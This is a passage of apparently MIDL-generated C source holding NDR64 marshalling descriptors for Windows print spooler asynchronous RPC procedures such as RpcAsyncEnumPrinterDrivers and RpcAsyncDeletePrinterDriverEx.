Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag957,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1065,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorDirectory */      /* parameter pPrintProcessorDirectory */\n        &__midl_frag715,\n        { \n        /* pPrintProcessorDirectory */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1103,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1103,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1103,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag693_t __midl_frag693 =\n{ \n/* RpcAsyncEnumPrintProcessors */\n    { \n    /* RpcAsyncEnumPrintProcessors */      /* procedure RpcAsyncEnumPrintProcessors */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag942,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorInfo */      /* parameter pPrintProcessorInfo */\n        &__midl_frag829,\n        { \n        /* pPrintProcessorInfo */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1065,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1065,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1065,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1065,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag673_t __midl_frag673 =\n{ \n/* RpcAsyncDeletePrinterDriverEx */\n    { \n    /* RpcAsyncDeletePrinterDriverEx */      /* procedure RpcAsyncDeletePrinterDriverEx */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag947,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriverName */      /* parameter pDriverName */\n        &__midl_frag947,\n        { \n        /* pDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwDeleteFlag */      /* parameter dwDeleteFlag */\n        &__midl_frag948,\n        { \n        /* dwDeleteFlag */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* dwVersionNum */      /* parameter dwVersionNum */\n        &__midl_frag948,\n        { \n        /* dwVersionNum */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag665_t __midl_frag665 =\n{ \n/* RpcAsyncDeletePrinterDriver */\n    { \n    /* RpcAsyncDeletePrinterDriver */      /* procedure RpcAsyncDeletePrinterDriver */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag947,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriverName */      /* parameter pDriverName */\n        &__midl_frag947,\n        { \n        /* pDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag651_t __midl_frag651 =\n{ \n/* RpcAsyncGetPrinterDriverDirectory */\n    { \n    /* RpcAsyncGetPrinterDriverDirectory */      /* procedure RpcAsyncGetPrinterDriverDirectory */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag942,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pDriverDirectory */      /* parameter pDriverDirectory */\n        &__midl_frag829,\n        { \n        /* pDriverDirectory */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag635_t __midl_frag635 =\n{ \n/* RpcAsyncEnumPrinterDrivers */\n    { \n    /* RpcAsyncEnumPrinterDrivers */      /* procedure RpcAsyncEnumPrinterDrivers */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag942,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pDrivers */      /* parameter pDrivers */\n        &__midl_frag829,\n        { \n        /* pDrivers */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag632_t __midl_frag632 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag616\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag625\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag629\n    }\n};\n\nstatic const __midl_frag630_t __midl_frag630 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 196 /* 0xc4 */\n    }\n};\n\nstatic const __midl_frag629_t __midl_frag629 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag630\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag626_t __midl_frag626 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 168 /* 0xa8 */\n    }\n};\n\nstatic const __midl_frag625_t __midl_frag625 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag626\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag617_t __midl_frag617 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 